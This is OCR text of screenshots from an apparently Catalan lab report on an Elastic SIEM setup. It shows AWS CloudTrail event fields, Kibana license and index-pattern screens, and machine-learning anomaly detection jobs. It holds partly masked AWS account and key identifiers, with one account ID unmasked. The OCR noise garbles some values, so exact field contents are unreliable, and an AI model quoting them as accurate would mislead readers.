	t userIdentity.accountId	54 135			
	t useridentity.arn	arn:aws:sts::54 135:assumed- role/masters.newplatformpro.k8s.local/i 03 4fd			
	t userIdentity.principalId	AR 74WL:i- 03 4fd			
	UserIdentity.sessionContext.attributes.cr     eationDate	Apr 1, 2020 @ 14:42:42.000			
	t userIdentity.sessionContext.attributes.m	false			
	t userIdentity.sessionContext.sessionIssue	54 135			

#### Captura 164: Detall d'esdeveniment d'instància III

		SIEM / Hosts / Events					۵	. ●
	•	<ul> <li>eventName: Describe*</li> </ul>		KQL 📋 🗸	Apr 1, 2020 @ 00:15:59.981 → Apr	1, 2020 @ 23:16:07.189	් Refresh	
Ø	<del>.</del>	+ Add filter						-
ŝ	31104	wing. 12,205 events						
30		@timestamp ↓ message	host.name	event.module	event.dataset	event.action	user.name	
â		t userIdentity.principalId	AR 4WL:i- 036f b4fd					
æ		BuserIdentity.sessionContext.attributes.cr     eationDate	Apr 1, 2020 @ 14:42:42.000					leline
 @		t aAuthenticated	false					Ę.
5		t userIdentity.sessionContext.sessionIssue r.accountId	54					
ē		t userIdentity.sessionContext.sessionIssue r.am	arn:aws:iam::54 135:role/master ewplatformpro.k8s.local	s.n				
Ì		t userIdentity.sessionContext.sessionIssue	AR WL					
P		t userIdentity.sessionContext.sessionIssue	Role					
Ŷ		t userIdentity.sessionContext.sessionIssue r.userName	masters.newplatformpro.k8s.local					
÷		t userldentity.type	AssumedRole					
-	>	Apr 1, 2020 @ 20:27:19.000	elasticstack.mistic.lab	i-	-	-	-	
⇒	>	Apr 1, 2020 @ 20:27:19.000	elasticstack.mistic.lab	-	-	-	-	

## Captura 165: Detall d'acció d'usuari I

D SIEM / Ho	osts / Events							٥	
🕲 🗸 event	Name: Describe*			KQL	<b>*</b>	Apr 1, 2020 @ 00:15:59.981	→ Apr 1, 2020 @ 23:16:07.189	ල Refresh	
😇 – + Add filt	er								
Showing. 12,203	5 events								
i≣ @timesta	amp $\downarrow$	message	host.name	even	t.module	event.dataset	event.action	user.name	
0	_score		1						
0	_type		_doc						
t	agent.ephemeral_id		38e533a8-8055-4e99-aa0f-ea18dc9	80283					
🗆 t 🛛	agent.hostname		elasticstack.mistic.lab						
🗌 t i	agent.id		bd6640dc-d6af-4826-a3d9-c59e1b	8d6cc					
□ t	agent.type		filebeat						
□ t	agent.version		7.6.2						
□ t	awsRegion		eu-west-1						
0	client.geo.location		2.1611 41.3891						
□ t	debug		timestampMatched						
□ t	ecs.version		1.4.0						
t	eventID		81049b7d-5620-4416-beb0- a32e8695b38d						
🗌 t 🛛	eventName		DescribeInstanceStatus						
0 t	eventSource		ec2.amazonaws.com						
00	eventTime		Apr 1, 2020 @ 20:26:47.000						

#### Captura 166: Detall d'acció d'usuari II

					Ŭ
eventName: Describe*		KQL 🛗 🗸 /	.pr 1, 2020 @ 00:15:59.981 →	Apr 1, 2020 @ 23:16:07.189	C Refresh
) – + Add filter					
Snowing. 12,205 events					
i≣ @timestamp ↓ message	host.name	event.module	event.dataset	event.action	user.name
C Elograne-bara	: / nanco) on não) in ñol e nei iroannociistion				
# log.offset	87193				
t recipientAccountId	54 135				
t requestID	d9068a3e-2aea-4ad5-a406-994b9d2	cae1c			
@ requestParameters.instancesSet.items	{"instanceId":"i-0c3				
t sourceIPAddress	147 .74				
tags	beats_input_raw_event				
t type	json				
t userAgent	aws-cli/1.14.28Python/2.7.5Linux/3.10 862.14.4.el7.x86_64botocore/1.8.35	1.0-			
t userIdentity.accessKeyId	AK RMQ				
t userIdentity.accountId	541551430135				
t userIdentity.arn	arn:aws:iam::54 135:user/Mon	itorIT			
t userIdentity.principalId	AID '52W				
t userIdentity.type	IAMUser				
t userIdentity.userName	MonitorIT				
					-

# 8.2.4. Escenari 4: Machine Learning

8.2.4.1. Activació de la llicència de prova.

## Captura 167: Finestra management

< → _	C A No seguro   elasticstack.mistic.lab:5601/app/kibana#/management7_g=0	
<b>×</b>	D Management / License management	
	Elasticsearch	
0	Index Management	ရိတ်ခဲ့
	Index Lifecycle Policies	-8-
î	Rollup Jobs	Kibana 7.6.1 management
8	Iransforms Remote Clustere	Manage your indices, index patterns, saved objects, Kibana settings, and more,
~	Snapshot and Restore	
-	License Management	
9.	8.0 Upgrade Assistant	A full list of tools can be found in the left menu
9	Kibana	
3	Index Patterns	
6	Saved Objects	
	Spaces	
2	Reporting	
Ĵ	Advanced Settings	
a	(ii) Security	
2	Users	
~	Roles	
۰.	API Keys	
۲		



← ·	C 🔺 No seguro   elasticstack.mistic.lab:5601/app/kib	ana#/management/elasticsearch/license_management/home?_g=0	ba Q ☆ 💁 🔦 K 🖧
K	Management / License management		
	Elasticsearch	🥑 Your Basic li	icense is active
⊘ ≩	Index Management Index Lifecycle Policies Rollup Jobs	Your license w	rill never expire.
5	Transforms Remote Clusters	Update your license	Start a 30-day trial
£	Snapshot and Restore License Management 8.0 Linorade Assistant	If you already have a new license, upload it now.	Experience what machine learning, advanced security, and all our other Platinum features have to offer.
0	Kibana	Update license	Start trial
2	Index Patterns		
s	Saved Objects Spaces		
9 10	Reporting Advanced Settings		
ø	® Security		
9	Users		
æ	API Keys		
۲			

#### Captura 169: Llicència activa

← ·	C 🔺 No seguro   elasticstack.mistic.lab:5601/app/kit	oana#/management/elasticsearch/license_management/home?_g=0		\$1 @ \$ 🔶 🔌 K 🖧
	Management / License management			0
	Elasticsearch		Your Trial license is active	
~	Index Management		•	
۲	Index Lifecycle Policies		Your license will expire on June 16, 2020 12:45 PM CEST	
ŝ	Rollup Jobs			
_	Transforms			
80	Cross-Cluster Replication	Update your license	Extend your trial	Revert to Basic license
ŵ	Remote Clusters	If you already have a new license, upload it now.	If you'd like to continue using machine learning,	You'll revert to our free features and lose access to
	Watcher		advanced security, and our other awesome Platinum	machine learning, advanced security, and other
8	Snapshot and Restore		features, request an extension now.	Platinum features.
Ð	License Management	Lindete lieenee	Extend trial	Devert to Resis
	8.0 Upgrade Assistant	Opdate license	Extend that	Revert to Basic
2				
G <sub>2</sub>	Kibana			
-101	Index Patterns			
5	Saved Objects			
ct	Spaces			
0	Reporting			
a.	Advanced Settings			

Captura 170: Finestra d'Index Patterns

€ .	C A No seguro   elasticstack.mistic.lab/5601/app/ki	pana#/management/kibana/index_patterns?,g=0	B) @ & 👆 🍕 K di	<b>1</b> B	0 (	0
K	Management / License management			0		•
٩	Elasticsearch					
۲	Index Management Index Lifecycle Policies	Index patterns @	Create index pattern			
企	Rollup Jobs Transforms	Q Search				
50	Cross-Cluster Replication					
ŵ	Remote Clusters	Pattern 个				
8	Watcher Snapshot and Restore	packetbeat-* Default				
8	License Management 8.0 Upgrade Assistant	apm-*				
8		apm-*				
-	🟅 Kibana	awscloudtrial-*				
72	Index Patterns Saved Objects	filebeat-7.6.2-+				
3	Spaces Reporting	filebeat-cloudtrail-*				
¢	Advanced Settings	Rows per page: 10 $$	$\langle 1 \rangle$			
÷						

#### Captura 171: Creació d'Index Pattern I



#### Captura 173: Models pre-creats

SIEM Overview					Q				
Overview Hosts Network	Detections Timelines	Anomaly detection $\sim$							
🖺 🗸 Search		ANOMALY DETECTION SETTINGS							
() − + Add filter		Run any of the Machine Learning jobs below to view anomalous events throughout the SIEM application. We've provided a few common detection jobs to get you started. If you wish to add your own custom jobs, simply create and tag them with 'SIEM' from the Machine Learning application for inclusion here.							
Recent timelines	Signal count	Q e.g. rare_process_linux G	roups 🗸 Elastic jobs	Custom jobs	/iew cional				
You haven't favorited any timelines yet. Get out there and start threat hunting!	Showing: 0 signats	Showing: 23 jobs Job name	Groups	Run job	view signal				
View all timelines Security news		Insuc_anomalous_user_name_ecs SIEM Actives and unusers that are not normally active may indicate unauthorized champs or activity by an unauthorized user which may be process is tarent involvement (tota) K							
Elastic Security 7.7.0 released	1	packetbeat_dns_tunneling SIEM Packetbeat: Looks for unusual DNS activity that could indicate or and-control or data exfiltration activity (beta)	mmand- dns packetbea	() X					
Elestic Security introduces embedded case management, ServiceNow ITSM integration, alert notifications, and more.		packetbeat_rare_dns_question SIEM Packetbeat: Looks for unusual DNS activity that could indicate co and-control activity (beta)	mmand- siem	. X					
Easily visualizing MITRE ATT&CK® round 2 evaluation results in Kibana 2020-04-21	Showing: 0 external alerts	packetbeat_rare_server_domain SEM Pecketbeat: Looks for unusual HTTP or TLS destination domain a that could indicate execution, persistence, command-and-control or die exititation activity (beta)	tivity packetbeat sie ta web	m Ox	View alerts				
Check out this blog post to explore the MITRE ATTRCK eval round 2 results visualized in an easy-to-configure Kibana dashboard.		packetbeat_rare_urls SIBM PacketbeatL Looks for unusual web browsing URL activity that co indicate execution, persistence, command-and-control or data exiltivat activity (beta)	uid packetbeat sie	m Ox					
Generating MITRE ATT&CK® signals in Elastic SIEM with sysmon data			< 1 2	3 4 5 >					



#### Captura 174: Model rare\_process\_by\_host\_linux\_ecs I

4	Machine Learning / A	nomaly De	tection / Anomaly Explorer											٥	
0	Top Influencers		Anomaly timeline												
0	process.name														
Ka.	sshd.exe 🖽 Θ	165			2011	2012	2013	2014	2015	2016	2017	2018	2019	2020	
_			View by Li	nit											
80			process.name 🗸	10 ~											
<u>ه</u>			article ave.												
8			55HL.exe				2012	2014	2015	2018		2012	2010	2020	
ø					Santi,	2012	2013	2014	240410	2010	#5/10	2018	4010	2020	
Q			Anomalies												
~			Severity threshold	Interval											
5			warning V	Auto	~										
2			time	sever	rity ↓	detect	or	found for		influenced by		job ID	a	tions	
5										host.name: winmetasploit3	.mistic.lab 🕒 🖯	test-			
P			<ul> <li>April 16th 2020, 19:00</li> </ul>	• 31	9	rare by	"user.name"	sshd_server		process.name:	sshd.exe 🕘 🕒	_ecs	is_user_name {	9	
4										user.name: ssh	d_server 🙂 🖯				
			Description minor anomaly in rare by "	user.name* fo	ound for user.name	sshd_server									
ä			Details on highest severity	anomaly											
ŵ			user.name	sshd_sen	ver										
~			time	April 16th	2020, 19:00:00 to /	April 16th 2020,	19:15:00								
0			function	rare											
			job ID	test-wind	lows_anomalous_us	er_name_ecs									
			probability	0.005146	436653090894										
			Influencers												
					A CONTRACTOR OF A CONTRACTOR										
			host.name	winmetas	ploit3.mistic.lab										
			process.name	sshd.exe	ploit3.mistic.lab										

## Captura 177: windows\_anomalous\_user\_name\_ecs



← -	C 🔺 No seguro   elasticstaci	k.mistic.lab:5	601/app/ml#/explorer?_a=(m	Explor	erFilter:(filterActive:It.filteredF	Fields:l(user	name,SYSTEM).influe	encersFilter	Query:(bool:(minimum_should_r	match:1.should:l((match_phrase:	(user.name:SYST.	- 🖩 Q 🛧 🍕	• • •	<i>e</i> o	•
K	D Machine Learning / An	omaly Dete	ection / Anomaly Explore	r										٥	
٩	Job Management Anomaly Ex	plorer Sin	gle Metric Viewer Setti	ngs							11.00.04.02	- rip: 10; 2020 (p 1	L.10.00.00		Noncon
Ø	rare_process_by_host_linux_ecs	test-windo	ws_anomalous_path_activity	_ecs	test-windows_anomalous_p	process_all	_hosts_ecs test-r	are_proces	s_by_host_windows_ecs 🧳	Edit job selection					
	Q user.name:"SYSTEM"														0
3	Top Influencers		Anomaly timeline												
â	user.name														
\$	SYSTEM ④ Θ 23	25			11:05 11:10	11	1:15 11:20	11:25	11:30 11:35	11:40 11:45	11:50 1	1:55 12:00	12:05	12:10	j.
0			View by Li	mit											
2			user.name 🗸	10 \											
ŝ							No u	ser.name	e influencers found for s	pecified filter					
ę			Anomalias												
ି			Severity threshold		Interval										
Canal Canad Canal Canad Canal Canad Canal Canad Canal Canad			• warning ~		Auto $\checkmark$										
÷			time		severity $\downarrow$		detector		found for	influenced by	job ID		actions		
Q										e 😑	test-				
ŵ			April 18th 2020, 12:0	D	• 26		Windows	ons on	auditbeat.exe	process.name: auditbeat.e	ke 🕙 rare_proc ecs	ess_by_host_windows	- @		
۲										user.name: SYSTEM 🕑 😔	lab				
			> April 18th 2020, 12:0	D	• 24		rare by "process.exe	cutable"	C:\Program Files\auditbeat\auditbeat.exe	process.name: misticad.mistic	test- windows, I_hosts_e	anomalous_process_al cs	- @		
										Gentline Stotem C					